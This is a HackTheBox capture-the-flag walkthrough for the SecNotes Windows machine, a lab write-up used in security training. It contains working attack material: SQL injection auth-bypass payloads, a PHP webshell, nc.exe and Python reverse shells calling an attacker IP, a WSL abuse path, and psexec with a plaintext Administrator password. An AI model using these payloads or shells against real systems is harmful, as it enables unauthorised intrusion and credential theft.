SecNotes writeup & walkthrough

SecNotes is a medium HackTheBox Windows machine exploiting a second-order SQL injection and CSRF to steal credentials, then using WSL (Windows Subsystem for Linux) for privilege escalation.

HTB: SecNotes

Access Path

no access => tyler => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Walkthrough: Video

Account Creation & Web Bugs

After registering, the change-password endpoint takes no old password (broken access control). Combined with an SSRF-style callback from the contact form, we hijack Tyler's password reset and log in as tyler:abc123.

# Register new user, login
# Discovered: can change password without old pass
http://10.129.136.67/change_pass.php?password=abc123&confirm_password=abc123&submit=submit

# Contact page → found Tyler’s email
# Attempted SSRF with netcat listener
nc -nvlp 80
# Received callback, injected password-reset URL into message field
# Tyler’s password changed → tyler:abc123

Alternative: SQL Injection

The login is also vulnerable to SQL injection; an auth-bypass / time-based payload logs us in as Tyler without touching the password reset.

# Auth bypass payloads
' or 1'='1
SLEEP(2) /*' or SLEEP(2) or '" or SLEEP(2) or "*/

# Successful login as Tyler
[email protected]

Webshell & Reverse Shell

As Tyler we can write to an SMB-backed web root, so we upload a PHP webshell plus nc.exe and trigger a reverse shell.

# Uploaded simple PHP webshell
<?php system($_REQUEST['cmd']); ?>

# Uploaded nc.exe for reverse shell
http://10.129.136.67:8808/c.php?cmd=whoami
http://10.129.136.67:8808/c.php?cmd=nc.exe -e cmd.exe 10.10.14.33 4422

WSL Discovery & Abuse

The host has WSL installed (Ubuntu.zip and bash.lnk). We locate wsl.exe and use it to run a Linux python reverse shell.

# Found Ubuntu.zip and bash.lnk → WSL present
where /R C:\Windows wsl.exe
where /R C:\Windows bash.exe

# Reverse shell through WSL binary
C:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe \
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.33",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Dead end under /mnt/c
# Checked root history: ls -lah /root

Privilege Escalation

Administrator credentials recovered along the way let us psexec in as Administrator for the final shell.

# Impacket psexec with recovered Administrator creds
impacket-psexec administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.129.136.67